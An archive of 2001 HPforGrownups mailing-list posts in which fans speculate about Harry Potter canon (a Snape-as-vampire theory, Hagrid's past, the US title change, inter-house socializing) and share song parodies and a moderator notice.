> place to do to Snape what Snape did to him.
> 
> There are lots of other, smaller things that bolster the theory--
all 
> the references to swooping like a bat, Dean's wish to have a 
vampire 
> professor, etc.  They are tiny, but together they could be a Clue!
> 
> Amy Z
> who wonders why she keeps speaking up in support of this *&#$% 
theory 
> when (a) she doesn't buy it and (b) it makes darling Lupin out to 
be 
> kind of a jerk--but then again, wouldn't he be boring if he were 
> *too* angelic?



I'm reviving this old thread because I am wondering where to come out 
on the Snape/vampire question.  Does this thread pretty much sum up 
the arguments that Snape is really a vampire brewing a potion to keep 
himself safe, or is there more to it?

Is there any evidence in canon that Snape ever comes out during 
daylight?  I notice that in certain crucial scenes in GoF, he isn't 
outside during the daytime (he is not present at the first task in 
the afternoon, the second task in the morning, or the third task 
after breakfast).  Also, I found the dialogue between Crouch/Moody 
and Snape on the stairs very odd.  Snape says he can "prowl" the 
castle, and Crouch/Moody tells him to "prowl away."  How weird!

Cindy (who would look younger if she never came out during the day)




From mellienel2 at yahoo.com  Mon Sep 17 22:28:20 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 17 Sep 2001 22:28:20 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <9o5dm6+107j6@eGroups.com>
Message-ID: <9o5te4+bpnk@eGroups.com>

No: HPFGUIDX 26227


> Yes it is. It's cast. 

I think cast was the wrong word. Cast does mean left the wand...I 
meant...was successful, was a real spell. I do mean that it's 
possible it doesn't appear because it didn't work as intended.

> that the scar was the direct result of an Avada Kedavra spell, 
> however. 

No, we def. don't -- I do contend that it was a spell, however, 
because JKR picked a lightning bolt because of the power it suggets. 
That seems to suggest it was a spell.

> bolt of energy. When you add to that the fact that the house was 
> destroyed, an effect which doesn't seem to be in keeping with the 
> action of the Killing Curse, it is likely that there was more going 
> on there than we know about yet.

My bets are on Pettigrew. We know he's good at blowing up things. So 
say he goes with Voldy (remember, he wasn't at his hiding spot -- why 
tip Sirius off that something's wrong by not being at your hiding 
spot unless you're onto bigger things?), things went wrong, he didn't 
*dare* try AK, so he blew up the house instead, in a last ditch 
effort to kill Harry, then fled.


> Funny, though, now that I'm thinking about scars...I wonder if 
> there's anything to Dumbledore's statement about scars being useful 
> and that he has one on his knee that is a map of the London 
> Underground. Strange statement, that...

I love that statement. Almost as much as I love Dumbledore. 

later,
m.




From coriolan at worldnet.att.net  Mon Sep 17 22:55:49 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Mon, 17 Sep 2001 22:55:49 -0000
Subject: Getting You-Know-Who (filk)
Message-ID: <9o5v1m+m0rt@eGroups.com>

No: HPFGUIDX 26228

Getting You-Know-Who (from GoF, Chapter 37)

(To the tune of Getting to Know You, from the King And I)

(THE SCENE: The Great Hall. DUMBLEDORE speaks to the Hogwarts staff 
and students at the onset of a grave crisis)

DUMBLEDORE (spoken) I say to you all, once again - in the light of 
Lord Voldemort's return, we are only as strong as we are united, as 
weak as we are divided.  Lord Voldemort's gift for spreading discord 
and enmity is very great. We can fight it only by showing an equally 
strong bond of friendship and trust.  Differences of habit and 
language are nothing at all if our aims are identical and our hearts 
are open. It is my belief- and never have I so hoped that I am 
mistaken - that we are all facing dark and difficult times.  Some of 
you in this Hall have already suffered directly at the hands of Lord 
Voldemort.  Many of your families have been torn asunder.  A week 
ago, a student was taken from our midst
..

(music)
That rank creature is returning
Cedric slain by Voldemort
A hideous act of terror
Announces an all-out war 

Getting You-Know-Who
Getting to ensure that he's through
Getting You-Know-Who
Getting to grieve Diggory
Getting You-Know-Who
Aiming it at him
Precisely
As we concisely
Gain victory

Getting a breakthrough
Getting to all work in accord
This is what we'll do,
Getting to fight Evil's sway.
Have you forgotten
Our enemy's gift for discord?
If we now join to show our unity
We shall crush his infamy

ALL
Seize the day!

   - CMC





From usergoogol at yahoo.com  Mon Sep 17 23:08:04 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Mon, 17 Sep 2001 23:08:04 -0000
Subject: Why name change?
In-Reply-To: <20010917.135541.-383807.32.mindyatime@juno.com>
Message-ID: <9o5vok+euee@eGroups.com>

No: HPFGUIDX 26229

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> wrote:
> Steve the indefatigable wrote:
> 
> " the change from "Philosopher's Stone" to Sorcerer's Stone"......
> 
> I may sound like an ignoramus, but what IS the reason that the title was
> changed? A sorcerer is an evil witch and a philosopher is a philosopher,
> or does a philosopher meaning something else in Britenglish?
> ________________________________________________________________
> GET INTERNET ACCESS FROM JUNO!
> Juno offers FREE or PREMIUM Internet access for less!
> Join Juno today!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.

I'm not sure if it technically means evil. (Especially in the HP series. After all, the singing sorceresses are pretty not-evil.)

At any rate, Scholastic looked at the british title and thought...

<Eew... Philosophers? The kids'll think it's about greek philosophy. Lets change it to Sorcerer. That means wizard, and it has the cool alliteration.>

Of course, I wish someone had noticed...

<Well, actually, the Philosopher's Stone is a real thing in mytholgy, and we can't just like, rename Centaurs into Horse-guys. It just isn't done.>




From annieclaire12 at yahoo.com  Mon Sep 17 23:14:18 2001
From: annieclaire12 at yahoo.com (annieclaire12 at yahoo.com)
Date: Mon, 17 Sep 2001 23:14:18 -0000
Subject: Visitation Rights
In-Reply-To: <9o5dk7+cs1p@eGroups.com>
Message-ID: <9o604a+ki97@eGroups.com>

No: HPFGUIDX 26230

Rose wrote:

> Are the students ever permitted to visit each other in their common 
> rooms?  


That's a good question.  You'd think that they would be able to visit 
the common rooms.  Especially with all the interhouse relationships 
going on.  Where else would Percy and Penelope have met up?  Or is 
sneaking off into empty classrooms considered to be the norm?  

I searched the Lexicon for 'common rooms' and it says that they are 
to be used for studying and socializing.  It doesn't specify 
socializing with house members only, but I think that it's implied.  
I pulled out my copy of CoS and in The Polyjuice Potion chapter, 
Harry/Crabbe and Ron/Goyle have to find their way to the Slytherin 
common room; "We've still got to find out where the Slytherin common 
room is.  I only hope we can find someone to follow..." Cos 218

That leads me to believe that common rooms are for strictly house 
members only.  Maybe only Prefects or Head Boy/Girls have visitation 
priviledges.  And you're right, that does make a good case for MWPP 
to have all been in the same house!

Annie-Claire




From MmeBurgess at msn.com  Mon Sep 17 23:16:49 2001
From: MmeBurgess at msn.com (Angela Burgess)
Date: Mon, 17 Sep 2001 19:16:49 -0400
Subject: Pettigrew's Wait; Hagrid; Anniversary; Thanks from a Grateful Nation
Message-ID: <OE1372TUSzbAUfKRfcj0001d784@hotmail.com>

No: HPFGUIDX 26231

Hi all!  I don't have much to add, but here's my two knuts on some of the recent posts!   

1) mellienel2 at yahoo.com asks:
<<1. In my book, and I don't know how this can't be a mistake, Black says to Pettigrew in the Shrieking Shack that Voldemort had been in hiding for 15 years (it's when Hermione asks why Pettigrew didn't touch Harry...I'm not sure the page #). But at this point, harry is 13, and Voldemort has only been in hiding for 12, maybe 13.  Is this in everyone's book, or do you think it's just a mistake? There are many things that point to and fro on this one...I'm inclined to think it's a mistake though.>>

In my copy of PoA (US ed.), p. 367, it says:
"I (Peter) knew he'd (Sirius) come after me!  I knew he'd be back for me!  I've been waiting for this for twelve years!

But then later on, on p. 370, Sirius says, "Voldemort's been in hiding for FIFTEEN years, they say he's half dead" (caps mine).   

All I can assume from this is that someone made a mistake.  They quickly looked at the fact that Peter had been waiting for twelve years for Sirius to come after him and then added the number of years that Harry had been at Hogwarts (3) and, voil?, you have fifteen.

2) mellienel2 at yahoo.com says on an unrelated topic:
<<Also -- Hagrid was at school with Voldy for five years, then was gameskeeper for his remaining two years. He could know a lot about him. >>

I could be wrong, but I'm pretty sure that Hagrid was at school for only 3 years.  He was expelled as a Third Year student for setting the basilisk loose.  There has been much debate as to whether or not he then immediately returned as gamekeeper.   

However, all this aside, I also wonder about Hagrid's big secret.  I agree with sgallag4 at h... who says that they believe Hagrid may know something about the Snape/Potter fixation.  I know that it seems to have been explained by the fact that JP saved Snape's life.  However, I (as a teacher) would like to believe that there is more to it than that.  I like to think that there is more to the story than that, simply because treating a student in the manner that Snape treats Harry simply because Harry's dad once saved Snape's life after a horrible prank pulled by James' friends does not fit with me.  Granted, I have many problems with Snape as a whole, but I do remember teachers who were similarly horrible (although none quite so bad!).

Perhaps, there is yet more to Harry than we yet realize, something that causes Snape to begrudge him for himself, not for the deeds of his father.  What if Snape proved himself to Dumbledore by becoming a sort of guardian to Harry and must now protect him as long as Harry is underage?  Or just as long as Voldemort is perceived to be a threat?  I don't really know, it is just guessing at this point.  Any thoughts?

3) On a slightly OT-note, I realized in chat yesterday that I have now been a member for more than a year!  I posted for the first time on 3 September 2000, but had been lurking for several months.  I can't believe two things:
            a) that it has been so long!
            b) that the group was *so* small when I joined (comparatively) and that it   has since gotten so big!
My husband still thinks I'm a nut and my students become more convinced of my insanity by the day (today I translated Dumbledore's lines about unity/division/etc. into French for my students to talk about as their journal), but who cares?

4)  Last, but certainly not least, I would like to thank all of you who have helped all of us as we deal with the events of the past week.  I have been quiet on the whole subject but please know that my prayers (to whatever deity you choose to worship or whoever/whatever you choose to ask for things) are with you, not only for your comfort, but also thanking himer for gifting this group with such wonderful people.  My students have beseiged me with questions, even though I am barely older than they are.  Today, for the first time, I was able to conduct class with less than 10 minutes of discussion which has allowed me to take the time and energy to thank all of you!

I hope that some of the above has made sense.  Please, if you feel the need to throw things, please throw them gently!
AngelaGet more from the Web.  FREE MSN Explorer download : http://explorer.msn.com


[Non-text portions of this message have been removed]




From caliburncy at yahoo.com  Mon Sep 17 23:43:41 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 17 Sep 2001 23:43:41 -0000
Subject: Why name change?
In-Reply-To: <20010917.135541.-383807.32.mindyatime@juno.com>
Message-ID: <9o61rd+2t95@eGroups.com>

No: HPFGUIDX 26232

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> Steve the indefatigable wrote:
> 
> " the change from "Philosopher's Stone" to Sorcerer's Stone"......
> I may sound like an ignoramus, but what IS the reason that the title 
> was changed? A sorcerer is an evil witch and a philosopher is a 
> philosopher, or does a philosopher meaning something else in 
> Britenglish?

The reason the stone was originally called the Philosopher's Stone is 
because (outside of canon) in alchemy there really was such a concept 
as the Philosopher's Stone.  So JKR, of course, called it what it is. 
 But one of the head marketing people at Scholastic (forget who) 
convinced JKR to change the name to Sorcerer's Stone for the American 
version.  Why?  Marketing, of course (he is a marketing guy after 
all).  Apparently he said that he felt that it's use in the title was 
misleading of the subject matter.  After all, it's a book about a 
wizard so why not make one of the title words sound more magical and 
therefore more indicative of the contents?  Hence, the quite 
unnecessary change.  But some more cynical people contend that the 
change was made because Scholastic didn't believe any American child 
would ever buy a book with the word "philosopher" in the title.  And 
they could be right--both the cynics and Scholastic. :-)

-Luke




From mellienel2 at yahoo.com  Tue Sep 18 00:42:28 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 18 Sep 2001 00:42:28 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <9o5gcv+q0h9@eGroups.com>
Message-ID: <9o659k+asga@eGroups.com>

No: HPFGUIDX 26233

--- In HPforGrownups at y..., blpurdom at y... wrote:
> --- In HPforGrownups at y..., mellienel2 at y... wrote: 
> > Kill a person, you have their whole being, 
> > and that comes out of the wand.
>  
> This of course raises an interesting question: what comes out of a 
> wand in relation to various spells when Priori Incantatem is 
> performed?  We saw a miniature Dark Mark appear from Harry's wand 
> after Crouch used it to fire the Dark Mark into the air; we saw the 
> shades of the people Voldemort murdered with his wand.  What would 
> appear if the spell were Cruciatus?  Imperius?  A simple 
Alohomora?  
> Any thoughts?
> 

Hm -- Crucio regurgitates screams. Not sure about Imperius. BUt I 
would think the little things -- making fire and such, come out, but 
are so small, or have no real *object* to regurgitate in smoke, that 
you just don't notice them. It's odd.

Another question:

How did Lily and James (whichever one said it -- at this point I 
can't remember) know that the cup would take Harry back to Hogwarts? 
Portkeys, we know from earlier in the book, aren't always this way, 
as we saw wizards throwing them away after being used at the World 
Cup.  This is my somewhat farfetched theory --
These beings sort of live in the wand they were destroyed by. There's 
a little universe in there.
Evidence: In the uncorrected version, James says about Lily to 
Harry: "She's coming, she wants to see you." In the corrected, Lily 
says James is coming. How do they know that? 
Then, one of them says the cup would take Harry back to Hogwarts. How 
could they know this unless that wand was used to turn that cup into 
a portkey that reverses ( Moody/Crouch could have portkeyed himself 
to Wormtail, wormtail fixed it with VOldy's wand, then Crouch went 
back to the center of the maze).


Far fetched, I know...

m.




From mellienel2 at yahoo.com  Tue Sep 18 00:43:32 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 18 Sep 2001 00:43:32 -0000
Subject: POA Paperback
In-Reply-To: <20010917.154407.-392835.7.mindyatime@juno.com>
Message-ID: <9o65bk+arj0@eGroups.com>

No: HPFGUIDX 26234


> I did receive the book today. Looking forward to reread it. (I only 
read
> it once, when I picked it up from my local library.)

Ooh, tell us if that thing that Black says about Voldemort being in 
hiding for 15 years is in there, or if it was corrected. Ooh ooh.

Enjoy! 3 is my fav.

m.





From MmeBurgess at msn.com  Tue Sep 18 00:51:25 2001
From: MmeBurgess at msn.com (Angela Burgess)
Date: Tue, 18 Sep 2001 00:51:25 -0000
Subject: Pettigrew's Wait; Hagrid; Anniversary; Thanks from a Grateful Nation
Message-ID: <9o65qd+fa7k@eGroups.com>

No: HPFGUIDX 26235

I tried to post this earlier, but it's been about an hour and a half 
and it hasn't shown up yet, so I'll try again.  I don't have much to 
add, but here's my two knuts on some of the recent posts!  

1) mellienel2 at yahoo.com asks:
<<1. In my book, and I don't know how this can't be a mistake, Black 
says to Pettigrew in the Shrieking Shack that Voldemort had been in 
hiding for 15 years (it's when Hermione asks why Pettigrew didn't 
touch Harry...I'm not sure the page #). But at this point, harry is 
13, and Voldemort has only been in hiding for 12, maybe 13.  Is this 
in everyone's book, or do you think it's just a mistake? There are 
many things that point to and fro on this one...I'm inclined to think 
it's a mistake though.>>

In my copy of PoA (US ed.), p. 367, it says:
"I (Peter) knew he'd (Sirius) come after me!  I knew he'd be back for 
me!  I've been waiting for this for twelve years!

But then later on, on p. 370, Sirius says, "Voldemort's been in 
hiding for FIFTEEN years, they say he's half dead" (caps mine).  

All I can assume from this is that someone made a mistake.  They 
quickly looked at the fact that Peter had been waiting for twelve 
years for Sirius to come after him and then added the number of years 
that Harry had been at Hogwarts (3) and, voil?, you have fifteen.

2) mellienel2 at yahoo.com says on an unrelated topic:
<<Also -- Hagrid was at school with Voldy for five years, then was 
gameskeeper for his remaining two years. He could know a lot about 
him. >>

I could be wrong, but I'm pretty sure that Hagrid was at school for 
only 3 years.  He was expelled as a Third Year student for setting 
the basilisk loose.  There has been much debate as to whether or not 
he then immediately returned as gamekeeper.  

However, all this aside, I also wonder about Hagrid's big secret.  I 
agree with sgallag4 at h... who says that they believe Hagrid may know 
something about the Snape/Potter fixation.  I know that it seems to 
have been explained by the fact that JP saved Snape's life.  However, 
I (as a teacher) would like to believe that there is more to it than 
that.  I like to think that there is more to the story than that, 
simply because treating a student in the manner that Snape treats 
Harry simply because Harry's dad once saved Snape's life after a 
horrible prank pulled by James' friends does not fit with me.  
Granted, I have many problems with Snape as a whole, but I do 
remember teachers who were similarly horrible (although none quite so 
bad!).

Perhaps, there is yet more to Harry than we yet realize, something 
that causes Snape to begrudge him for himself, not for the deeds of 
his father.  What if Snape proved himself to Dumbledore by becoming a 
sort of guardian to Harry and must now protect him as long as Harry 
is underage?  Or just as long as Voldemort is perceived to be a 
threat?  I don't really know, it is just guessing at this point.  Any 
thoughts?

3) On a slightly OT-note, I realized in chat yesterday that I have 
now been a member for more than a year!  I posted for the first time 
on 3 September 2000, but had been lurking for several months.  I 
can't believe two things:
            a) that it has been so long!
            b) that the group was *so* small when I joined 
(comparatively) and that it   has since gotten so big!
My husband still thinks I'm a nut and my students become more 
convinced of my insanity by the day (today I translated Dumbledore's 
lines about unity/division/etc. into French for my students to talk 
about as their journal), but who cares?

4)  Last, but certainly not least, I would like to thank all of you 
who have helped all of us as we deal with the events of the past 
week.  I have been quiet on the whole subject but please know that my 
prayers (to whatever deity you choose to worship or whoever/whatever 
you choose to ask for things) are with you, not only for your 
comfort, but also thanking himer for gifting this group with such 
wonderful people.  My students have beseiged me with questions, even 
though I am barely older than they are.  Today, for the first time, I 
was able to conduct class with less than 10 minutes of discussion 
which has allowed me to take the time and energy to thank all of you!

I hope that some of the above has made sense.  Please, if you feel 
the need to throw things, please throw them gently!
Angela





From mellienel2 at yahoo.com  Tue Sep 18 01:02:52 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 18 Sep 2001 01:02:52 -0000
Subject: Spielberg on Potter
In-Reply-To: <9o5lju+amk5@eGroups.com>
Message-ID: <9o66fs+h3ar@eGroups.com>

No: HPFGUIDX 26236

--- In HPforGrownups at y..., eggplant107 at h... wrote:
> Steven Spielberg didn't want to direct the first Harry Potter movie 
> but now he says this: 
> 
> "That first story didn't touch me creatively, Now the third Harry 
> Potter book...It's pure genius! Much darker, more esoteric and 
> interesting to me personally. If they'd offered me that, I'd have 
> said yes."
> 
> Asked if we might still see a Harry Potter movie directed by 
> Spielberg he said
> "That's right,you never know.'

Am I the only one with the childish sentiment:

FINDER'S KEEPERS, LOSERS WEEPERS!!

Now, he wants to direct it? And have it look like A.I., turn Harry 
into some Freudian Poster Boy? Turn JKR's world into some inescapable 
evil, not to mention what he'll do to Voldy himself?

No. He cannot have this. This is not his, he didn't want it, and now 
that he sees how much money he's missing out on, he's changing his 
tune. Well, sorry, man. If Chris Columbus pulls htis movie off, the 
rest of the series is his for the taking...that is, if he wants it, 
which i sincerely hope he does. 

I guess I just don't like the idea of HP being *anyone*'s second 
choice.

Especially to a ratty movie like A.I.

M.
who is slightly perturbed at the idea of RoboPotter




From rowena_grunnion_ffitch at yahoo.com  Tue Sep 18 01:09:20 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 17 Sep 2001 18:09:20 -0700 (PDT)
Subject: [HPforGrownups] Why name change?
In-Reply-To: <20010917.135541.-383807.32.mindyatime@juno.com>
Message-ID: <20010918010920.66698.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26237



--- "Mindy, a.k.a. CLH" <mindyatime at juno.com> wrote:
> Steve the indefatigable wrote:
> 
> " the change from "Philosopher's Stone" to
> Sorcerer's Stone"......
> 
> I may sound like an ignoramus, but what IS the
> reason that the title was
> changed? A sorcerer is an evil witch and a
> philosopher is a philosopher,
> or does a philosopher meaning something else in
> Britenglish?

     The Philosopher's Stone is the name the old
Alchemists gave to the substance that would turn base
metals into gold, (their other great goal was of
course the Elixir of Life, JKR seems to have combined
the two). I figure the American publishers changed the
title because they figured their reading public
wouldn't know that and might become confused.
   'Philosopher' means literally 'lover of wisdom',
nowadays it is only applied to people who make
complicated theories about the nature of reality,
good, knowledge etc. but in the olden days in also
included people we would today call scientists and
mystical types like Alchemists. 

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From klhurt at yahoo.com  Tue Sep 18 01:12:51 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Mon, 17 Sep 2001 18:12:51 -0700 (PDT)
Subject: [HPforGrownups] Re: Hagrid's Mysterious Past + Snape
In-Reply-To: <20010917.132847.-383807.31.mindyatime@juno.com>
Message-ID: <20010918011251.96917.qmail@web14206.mail.yahoo.com>

No: HPFGUIDX 26238

--- "Mindy, a.k.a. CLH" <mindyatime at juno.com> wrote:

>...will be unraveled by some very
>shocking revelation about both Hagrid
>and Snape which will send us all
>reeling.

Ah.  Sounds like someone else noticed that Hagrid and Snape have
identical eyes, except, of course, for the emotions in them.  (SS Chap
8)

Kelly the Yarn Junkie



=====
Pensieve
A New Harry Potter Discussion Group
for Adults
Low Traffic - High Quality
http://groups.yahoo.com/group/pensieve

__________________________________________________
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Donate cash, emergency relief information
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From coriolan at worldnet.att.net  Tue Sep 18 01:42:30 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Tue, 18 Sep 2001 01:42:30 -0000
Subject: Scabbers' Way (filk)
Message-ID: <9o68q6+13am@eGroups.com>

No: HPFGUIDX 26239

Scabbers' Way (from PoA, Chapter 16)

(To the tune of Wilkommen, from Cabaret)

Dedicated to Haggrid

(NOTE: The original song is a hodge-podge of English, French and 
German, so I mixed in some Latin to achieve a comparable effect. 
Translation:

Malum in se = bad in itself
Ave atque vale = hail and farewell
Tenebrae = darkness
In tempore belli ? in time of war
In hoc signo vinces = by this sign you will conquer

(From the Catholic Requiem, regarding the Day of Judgement)
Dies irae, dies illa
Solvet saecula in favilla
Teste David cum Sybilla= 

The day of wrath, the day that shall
Dissolve the earth in ashes, 
As David prophesied with the Sybil

Also, in keeping with the original song, the word play in the spoken 
central section was contrived to be as awful as possible)

THE SCENE: Professor TRELAWNEY'S classroom.  HARRY has just finished 
taking his Divination exam, and is preparing to leave, when 
TRELAWNEY's voice undergoes a startling change

TRELAWNEY (spoken, in a loud, harsh voice) IT WILL HAPPEN TONIGHT.

HARRY (turning to face her): S -- sorry?

(Seemingly in a trance, TRELAWNEY delivers a cryptic prediction)

TRELAWNEY (music)
Weird karma, bad venue, spell-numb

HARRY
Trelawney is sure getting stranger

TRELAWNEY
He ain't got nobody in his Twilight Zone
Dark Lord abandoned, no flesh nor blood nor bone
You-Know-Who in beaucoup doo-doo
Until today until today in malum se

(Spoken, as if addressing Voldemort) Ave atque Voldy? Tenebrae, 
anyone? So, tell me ? do they belittle Riddle? Are your death eaters 
are fed up with you? Is your dark mark looking dim? Have your 
unforgiven spells have been cast away? Are you Volding more but 
enjoying it less? Oh, how you wand-a go home! Well, in tempore belli 
up to the bar, boy! In hoc signo vinces! Henceforth, life will grow 
prettier. Your powers will grow prettier. Even your servant Grew 
Pettier

(laughs demonically)

Redrummin' not-by-Black comeback
Teste David cum Sybilla
Dies Irae draws one dies more near
Dark Lord so friendless, friend will soon appear 
Bright shining Voldemort's star-bound
Through Scabbers' way, through Scabbers' way, through Scabbers' way!

(End music. TRELAWNEY'S head falls forward onto her chest. She makes 
a grunting sort of noise. Harry stares at her. Then, quite suddenly, 
her head snaps up again)

TRELAWNEY (spoken)
I'm so sorry, dear boy  - the heat of the day, you know... I drifted 
off for a moment....

   - CMC 





From rowena_grunnion_ffitch at yahoo.com  Tue Sep 18 01:49:38 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 17 Sep 2001 18:49:38 -0700 (PDT)
Subject: [HPforGrownups] Visitation Rights
In-Reply-To: <9o5dk7+cs1p@eGroups.com>
Message-ID: <20010918014938.9318.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26240


--- rose590 at yahoo.com wrote:

> Are the students ever permitted to visit each other
in their common 
> rooms?  

   Good question. Come to think of it the fact the
various common rooms open to passwords does  suggest
they are meant only for members of the House
 
>  Then it occurred to me
> that several 
> students had developed girl/boy relationships
> outside their houses 
> (ex: Percy and Penelope, who by the way we never
hear anything about 
> again after PoA).

   Presumably there are other places students from
different houses can socialize; the Great Hall, the
Library, the grounds, etc. Must be if interhouse
romances can bloom. 

  Since it seems as though there
> really isn't much 
> mixing of students outside their houses, wouldn't
> that also lend 
> credence to the argument that MWPP were all in the
> same house.  After 
> all, they would need an awful lot of time together
> to have planned 
> all their escapades and we already know that leaving
> a common room 
> after dark is a violation of school rules.

   Is it after dark or after lights out? If students
from different houses can spend enough time together
to fall in love presumably they can also form
out-house friendships. There are the double classes,
Quidditch matches, the dueling club and possibly other
extracurricular activities that we never see because
they don't interest Harry, Ron and Hermione.
   As for MWPP I find it impossible to believe Peter
Pettigrew could have been a Gryffindor, and if we're
to believe Hagrid's statement that only Slytherin
Alumni turn Dark then we must assume both Peter and
Sirius were Slytherins!

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From meboriqua at aol.com  Tue Sep 18 02:14:31 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 18 Sep 2001 02:14:31 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o5gt5+ugsp@eGroups.com>
Message-ID: <9o6am7+r0ou@eGroups.com>

No: HPFGUIDX 26241

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> 
> Hmmm.  Lots of juicy possibilities there.  Since we know 
> giants "aren't very nice" and enjoy killing, I am thinking that 
> Hagrid's Mom killed his Dad for some reason.  As we have seen, 
> wizards seem to have no difficulty killing members of their own 
> families (Crouch, Riddle), so nothing would surprise me at this 
point.>

Aha!  You fell for it!  How do we really know that giants aren't very 
nice and enjoy killing?  We have yet to meet a full-blooded giant, and 
Hagrid certainly seems nice enough (even though I don't like him).  
Someone else mentioned that maybe giants really aren't mean, and that 
it something I have been thinking about.  Perhaps Fridwulfa is loving 
and sensitive and has been pining for her son, devasted that she has 
to live in hiding instead of be the mother of Hagrid she wants to be.

--jenny from ravenclaw 

Fudge is the topping on my ice cream **************************




From y_no_m at yahoo.com  Tue Sep 18 02:56:31 2001
From: y_no_m at yahoo.com (y_no_m at yahoo.com)
Date: Tue, 18 Sep 2001 02:56:31 -0000
Subject: MOVIE: length of movie
In-Reply-To: <013901c13fb7$8fc06400$964e28d1@oemcomputer>
Message-ID: <9o6d4v+2gar@eGroups.com>

No: HPFGUIDX 26242

> I believe the DVD version will most likely be two to two an a half 
hours long.  While this is not as long as most of us hopped it is 
more then the hour and a half we'll most likely see in the theatre.  
Plus adding all the special features it'll most likely round out to 
four hours...but then again, I could be wrong. :)
> Saitaina

http://movies.yahoo.com/shop?d=hv&cf=info&id=1802813191

2 hours and 22 minutes. For the theatre version I think. I hope it 
is. 1 hour & 30 minutes would be too short.

yen




From jferer at yahoo.com  Tue Sep 18 03:21:00 2001
From: jferer at yahoo.com (Jim Ferer)
Date: Tue, 18 Sep 2001 03:21:00 -0000
Subject: Visitation Rights (InterHouse socializing)
In-Reply-To: <9o5dk7+cs1p@eGroups.com>
Message-ID: <9o6eis+gbce@eGroups.com>

No: HPFGUIDX 26243

Rose:"Please forgive me if this has been discussed before."

Don't worry about it. Everybody has something new to contribute; just 
read the VFAQ file. You'll know what's gone before and maybe inspire 
new thoughts on the topic. Besides, I don't think this has been 
discussed before, at least not much!

Rose:"Are the students ever permitted to visit each other in their 
common rooms?  I ask this question for several reasons.  My first 
thought was no as it was mentioned in GoF that those students 
escorting those from other houses to the Yule Ball would meet them in 
the entrance hall..."

It would seem strange if they couldn't, but there's no evidence that 
they do.  Harry and Ron don't seem to know where other Houses' 
entrances are. They had a hard time finding the Slytherin common room 
in CoS, and when Cedric is going off towards his House it's kept 
vague.

If it's the case that there's little inter-house visiting, then it 
would make sense there's someplace at Hogwarts where students in 
various Houses can socialize at least a little, some sort of Student 
Union. There's absolutely no evidence for it, though.  Except for 
dating at the Yule Ball, the kids all seem to keep to their House.  


That doesn't seem to fit in with Dumbledore's vision for the school, 
but traditions are hard to change. As the Second Voldemort War heats 
up, will Dumbledore act to unify the school more?  I hope this unity 
doesn't happen because Death Eaters crash something into Hogwarts.

I agree that MWPP were all the same house, so they would be 
Gryffindors.  Pettigrew is the only one I have a hard time believing 
is a Gryffindor. Could he be an exception?




From john at walton.to  Tue Sep 18 03:33:10 2001
From: john at walton.to (John Walton)
Date: Mon, 17 Sep 2001 23:33:10 -0400
Subject: ADMIN: Yahoo is lagging
Message-ID: <B7CC38B6.1DB6%john@walton.to>

No: HPFGUIDX 26244

Hi all.

As you've probably realised, YahooGroups is lagging at the moment by about
five hours. Don't worry, it's not your computer...but we all certainly hope
they get it sorted sometime soon.

If you have any questions, the Mods can be reached at
hpforgrownups-owner at yahoogroups.com...or individually, which may be a
slightly better idea with Yahoo as it is now!

--John
__________________________________________

John Walton / Crazy Ivan
     HPforGrownups Moderator With Rock #47

@     john at walton.to
YM     johnwalton_crazyivan
ModMail     hpforgrownups-owner at yahoogroups.com

READ OUR ADMIN FILES!
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/
__________________________________________





From devika261 at aol.com  Tue Sep 18 03:28:43 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Mon, 17 Sep 2001 23:28:43 EDT
Subject: [HPforGrownups] Re: Fangs for mentioning this/warning -vampire theory
Message-ID: <90.19fce031.28d8196b@aol.com>

No: HPFGUIDX 26245

Cindy asked:
"Is there any evidence in canon that Snape ever comes out during 
 daylight?  I notice that in certain crucial scenes in GoF, he isn't 
 outside during the daytime (he is not present at the first task in 
 the afternoon, the second task in the morning, or the third task 
 after breakfast)."

In SS, Snape referees one of Harry's quidditch matches (Gryffindor vs. Hufflepuff, IIRC).  He was also at the quidditch match where he was protecting Harry against Quirrell's curse.  Oh, I just remembered another one:  In PoA, Snape is at the quidditch final, sitting in the front of the stands, wearing green like all the other Slytherins.  So he *can* come out during the day.  Maybe he makes a potion that will allow him to be exposed to sunlight long enough to watch the quidditch matches--he does seem to be quite fond of quidditch.

Devika :)




From john at walton.to  Tue Sep 18 03:31:11 2001
From: john at walton.to (John Walton)
Date: Mon, 17 Sep 2001 23:31:11 -0400
Subject: The new "official" JKR biography
In-Reply-To: <9o5dk7+cs1p@eGroups.com>
Message-ID: <B7CC383F.1DB5%john@walton.to>

No: HPFGUIDX 26246

Hi all,

In a fit of normalcy, I lazed around Barnes & Noble tonight, and spotted the
new, "official", JKR biography, "Questions with JKR" or something. It's
pretty much what we've known before, so I wouldn't advise forking out $5
(US) for it -- just read it in the bookstore. It's in about size 18 type and
